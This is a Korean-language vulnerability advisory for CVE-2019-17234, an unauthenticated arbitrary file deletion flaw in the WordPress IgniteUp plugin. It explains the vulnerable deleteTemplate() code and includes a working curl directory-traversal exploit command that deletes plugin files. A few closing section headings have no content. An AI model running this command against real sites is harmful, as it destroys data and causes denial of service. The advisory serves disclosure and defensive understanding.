
Wordpress IgniteUp 플러그인 < 3.4.1은 인증되지 않은 사용자가 웹서버의 파일을 임의로 삭제하여 DoS를 유발할 가능성이 있습니다.
Wordpress IgniteUp 플러그인 v3.4 이하에서는 원격의 인증되지 않은 사용자가 대상 웹 서버의 임의 파일을 잠재적으로 삭제하여 서비스 거부(DoS) 공격을 유발할 수 있습니다.
해당 취약점은 2019년 9월 20일에 wordpress.org 팀에 보고되었으며, 플러그인의 새 버전 3.4.1은 2019년 11월 8일에 출시되었습니다.[3]
IgniteUp은 인기 있는 워드프레스 플러그인으로, 사용자에게 사이트가 곧 출시, 유지보수 중 또는 공사 중임을 알리기 위해 랜딩 페이지를 간편하게 설정하고 관리할 수 있도록 해줍니다.
이 플러그인은 기본 제공되는 5가지 무료 템플릿(believe, cleaner, glass, launcher, offline)을 포함하고 있습니다.
템플릿 이름이 강조된 이유는 취약점을 악용하여 웹 서버에 유효한 요청을 수행하려면 올바른 매개변수 [template-name]이 필요하기 때문입니다.
[경고]
다음 명령 예시는 워드프레스 사이트를 손상시킬 수 있습니다. 이 경우 IgniteUp 플러그인 핵심 파일을 삭제합니다.
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
예시:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[참고] 위 명령은 플러그인 상대 경로 내에서 디렉터리 트래버설을 수행합니다. 적절한 권한(웹 서버 디렉터리 755, 웹 서버 파일 644)과 소유자(www-data, apache 사용자 등)가 설정된 경우 공격 범위는 서버 루트 디렉터리(예: /var/www/html)로 제한됩니다.
이 취약점을 유발하는 주요 함수는 아래에 강조되어 있습니다. 참조 파일은 wp-content/plugins/igniteup/includes/class-coming-soon-creator.php에 있으며, 파일 이름에서 알 수 있듯이 새 사용자 정의 템플릿 생성 및 기본/생성된 템플릿 삭제를 처리합니다.
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
첫 번째 줄의 admin_init는 워드프레스 액션 훅입니다. 훅[2]은 플러그인과 테마가 WordPress Core와 상호 작용하는 기반을 이루지만, Core 자체에서도 광범위하게 사용됩니다.
안타깝게도 액션 훅에 연결된 함수인 *deleteTemplate()*에는 관리자/사용자 확인 절차가 없습니다. 이 코드는 해당 작업을 수행하는 방법에 대한 충분한 힌트를 제공하며, 코드를 살펴보면 PHP POST 매개변수 delete_template을 쉽게 발견할 수 있습니다. 여기에 admin_init 훅 액션이 더해지면 익스플로잇 코드 단락에서 지적한 대로 /wp-admin/admin-post.php 인터페이스를 통해 웹 서버에 POST 요청을 시도할 수 있습니다.
[개인적인 의견] 워드프레스 관리자 사용자 관점에서 플러그인의 일반적인 동작을 분석해 보면, 이 함수를 발견하는 것은 상당히 이례적입니다(아마도 이전 버전에서 남겨진 잔재로 추정됩니다). 그 이유는 다음과 같습니다.
다음은 DirStroy로 템플릿을 삭제하려고 할 때 unlink 과정에서 발생하는 상황의 예시입니다.
admin-ajax.php 테스트 v3.4.1 비교
[1] v3.4.1 변경 로그 - https://it.wordpress.org/plugins/igniteup/#developers
[2] 워드프레스 훅 - https://developer.wordpress.org/plugins/hooks/
[3] CVE-2019-17234 NIST 참조 - https://nvd.nist.gov/vuln/detail/CVE-2019-17234